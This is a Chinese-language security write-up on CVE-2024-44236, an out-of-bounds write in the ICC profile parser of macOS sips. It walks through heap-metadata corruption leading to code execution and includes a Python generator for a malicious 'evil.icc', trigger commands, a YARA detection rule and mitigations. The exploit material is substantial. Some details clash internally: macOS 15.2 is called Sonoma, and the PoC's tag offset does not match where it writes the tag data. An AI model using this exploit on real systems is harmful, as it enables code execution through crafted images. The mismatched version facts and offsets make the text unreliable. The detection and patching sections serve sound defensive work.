# WWW2Exec - sips ICC Profile Out-of-Bounds Write (CVE-2024-44236) {{#include ../../banners/hacktricks-training.md}} ## 概述 Apple macOS **可脚本图像处理系统** (`sips`) ICC 配置文件解析器中的一个越界 **零写** 漏洞 (macOS 15.0.1, `sips-307`) 允许攻击者破坏堆元数据并将原语转变为完整的代码执行。该漏洞位于 `lutAToBType` (`mAB `) 和 `lutBToAType` (`mBA `) 标签的 `offsetToCLUT` 字段的处理。如果攻击者将 `offsetToCLUT == tagDataSize`,解析器会在堆缓冲区的末尾 **擦除 16 字节**。堆喷射使攻击者能够将分配器结构或稍后将被解引用的 C++ 指针归零,从而产生 **任意写入到执行** 链 (CVE-2024-44236, CVSS 7.8)。 > Apple 在 macOS Sonoma 15.2 / Ventura 14.7.1 中修复了该漏洞 (2024年10月30日)。第二个变种 (CVE-2025-24185) 于 2025年4月1日在 macOS 15.5 和 iOS/iPadOS 18.5 中修复。 ## 易受攻击的代码 ```c // Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1) if (offsetToCLUT <= tagDataSize) { // BAD ➜ zero 16 bytes starting *at* offsetToCLUT for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++) buffer[i] = 0; // no bounds check vs allocated size! } ``` ## 利用步骤 1. **制作恶意的 `.icc` 配置文件** * 设置一个最小的 ICC 头 (`acsp`) 并添加一个 `mAB ` (或 `mBA `) 标签。 * 配置标签表,使 **`offsetToCLUT` 等于标签大小** (`tagDataSize`)。 * 将攻击者控制的数据放置在标签之后,以便 16 次零写入覆盖分配器元数据。 2. **通过任何触及配置文件的 sips 操作触发解析** ```bash # 验证路径(不需要输出文件) sips --verifyColor evil.icc # 或在转换嵌入配置文件的图像时隐式触发 sips -s format png payload.jpg --out out.png ``` 3. **堆元数据损坏 ➜ 任意写入 ➜ ROP** 在苹果默认的 **`nano_zone`** 分配器中,16 字节槽的元数据位于对齐的 0x1000 块 **之后**。通过将配置文件的标签放置在这样的块的末尾,16 次零写入会破坏 `meta->slot_B`。在随后的 `free` 之后,受污染的指针被排入小型空闲列表,使攻击者 **能够在任意地址分配一个假对象** 并覆盖 sips 使用的 C++ vtable 指针,最终将执行权转移到存储在恶意 ICC 缓冲区中的 ROP 链。 ### 快速 PoC 生成器 (Python 3) ```python #!/usr/bin/env python3 import struct, sys HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding) TAGS = [(b'mAB ', 132, 52)] # one tag directly after header profile = HDR profile += struct.pack('>I', len(TAGS)) # tag count profile += b''.join(struct.pack('>4sII', *t) for t in TAGS) mab = bytearray(52) # tag payload (52 bytes) struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start) profile += mab open('evil.icc', 'wb').write(profile) print('[+] Wrote evil.icc (%d bytes)' % len(profile)) ``` ### YARA 检测规则 ```yara rule ICC_mAB_offsetToCLUT_anomaly { meta: description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)" author = "HackTricks" strings: $magic = { 61 63 73 70 } // 'acsp' $mab = { 6D 41 42 20 } // 'mAB ' $mba = { 6D 42 41 20 } // 'mBA ' condition: $magic at 0 and for any i in (0 .. 10): // up to 10 tags ( ($mab at 132 + 12*i or $mba at 132 + 12*i) and uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size ) } ``` ## 影响 打开或处理精心制作的 ICC 配置文件会导致在调用用户的上下文中发生远程 **任意代码执行**(预览、QuickLook、Safari 图像渲染、邮件附件等),绕过 Gatekeeper,因为该配置文件可以嵌入在其他无害的图像中(PNG/JPEG/TIFF)。 ## 检测与缓解 * **打补丁!** 确保主机运行 macOS ≥ 15.2 / 14.7.1(或 iOS/iPadOS ≥ 18.1)。 * 在电子邮件网关和 EDR 解决方案上部署上述 YARA 规则。 * 在对不受信任的文件进行进一步处理之前,使用 `exiftool -icc_profile= -overwrite_original ` 删除或清理嵌入的 ICC 配置文件。 * 通过在分析未知内容时在沙箱“透明度与现代化”虚拟机中运行预览/QuickLook 来增强安全性。 * 对于 DFIR,查看统一日志中沙箱应用程序最近执行的 `sips --verifyColor` 或 `ColorSync` 库加载。 ## 参考 * Trend Micro Zero Day Initiative 通告 ZDI-24-1445 – “Apple macOS ICC 配置文件解析越界写入远程代码执行 (CVE-2024-44236)” https://www.zerodayinitiative.com/advisories/ZDI-24-1445/ * Apple 安全更新 HT213981 “关于 macOS Sonoma 15.2 的安全内容” https://support.apple.com/en-us/HT213981 {{#include ../../banners/hacktricks-training.md}}